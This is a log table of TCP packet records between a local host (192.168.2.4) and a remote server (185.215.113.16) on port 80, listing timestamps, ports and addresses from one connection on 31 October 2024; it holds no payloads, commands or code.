Oct 31, 2024 04:15:14.137202024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137213945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137217999 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.137224913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137228012 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.137250900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137273073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137279987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.137285948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137293100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137298107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137303114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137307882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137314081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137319088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137325048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137336969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137342930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137964964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138001919 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.138112068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138123989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138134956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138147116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138164997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138174057 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.138175964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138186932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138190985 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.138200045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138211012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138222933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138240099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138250113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138252974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.138261080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138274908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138284922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138289928 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.138297081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138309002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138320923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138324022 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.138333082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138343096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138354063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.138355017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.138406992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.138406992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.138988018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139000893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139010906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139023066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139035940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139048100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139061928 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.139075041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.139270067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139286995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139297962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139309883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139326096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139333010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.139338017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139348984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139360905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139360905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.139372110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139373064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.139384031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139394999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139396906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.139406919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139419079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.139441967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.142065048 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.144577026 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.149420023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149444103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149457932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149607897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149621010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149631023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149642944 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.149643898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149672985 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.149847031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149858952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149871111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149880886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149884939 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.149893045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149904966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149915934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149918079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.149928093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.149929047 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.149940014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150212049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150244951 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.150266886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150279045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150376081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150387049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150397062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150403976 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.150410891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150465965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.150465965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.150655985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150667906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150680065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150692940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150703907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150706053 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.150715113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150727034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150738955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150748014 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.150748014 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.150752068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.150804043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.150804043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.151022911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151070118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151082039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151194096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151206017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151216984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151223898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.151228905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151242018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.151344061 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.151386023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151396990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151408911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151418924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151432991 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.151513100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151539087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.151566982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151580095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151596069 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.151629925 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.151689053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151700974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151710987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151724100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151747942 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.151901007 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.151923895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151935101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151945114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151957035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151973963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.151984930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152002096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152014971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152015924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.152015924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.152025938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152050972 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.152316093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152323961 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.152395964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152406931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152502060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152513981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152523994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152538061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152564049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.152659893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.152735949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.152739048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152750015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152760029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152770996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152781963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152792931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152806044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152817011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152822971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.152832031 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.152903080 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.153294086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153348923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153362989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153376102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.153462887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153477907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153487921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153491020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.153501034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153527975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.153676987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153687954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153702974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.153706074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153717041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153727055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153729916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.153740883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153752089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153753042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.153763056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153775930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.153784037 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.153801918 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.154253960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154360056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154371023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154380083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154396057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154421091 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.154499054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154510975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154526949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.154586077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154597998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154608965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154613972 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.154622078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154644012 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.154741049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154752016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154762983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154767036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.154774904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154786110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154788971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.154906988 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.154962063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154973030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.154989958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155002117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155013084 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.155283928 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.155369043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155426025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155438900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155467987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.155489922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155500889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155510902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155513048 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.155694008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155705929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155714989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155721903 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.155725956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155736923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155749083 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.155749083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155771017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.155879974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155891895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155901909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155905008 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.155914068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.155920982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.155982971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.156301975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156347036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156358004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156374931 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.156455040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.156483889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156496048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156507969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156621933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.156635046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156647921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156657934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156672001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156682968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156694889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156697989 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.156702995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.156706095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156718016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156738997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.156886101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156909943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.156943083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.156969070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.157270908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157282114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157293081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157330036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157361984 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.157361984 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.157434940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157501936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157514095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157572985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157584906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157603025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.157706022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157717943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157727957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157735109 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.157738924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157751083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157754898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.157764912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157776117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157788038 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.157912970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.157939911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157952070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157963037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157974958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.157989025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.158024073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.158370972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158425093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158436060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158447981 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.158487082 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.158524036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158535004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158545017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158555984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158596039 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.158596039 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.158670902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158684015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158765078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158776999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158787012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158798933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158811092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158823967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158834934 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.158838034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.158863068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.158937931 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.159348011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159393072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159404993 CET	80	49738	185.215.113.16	192.168.2.4
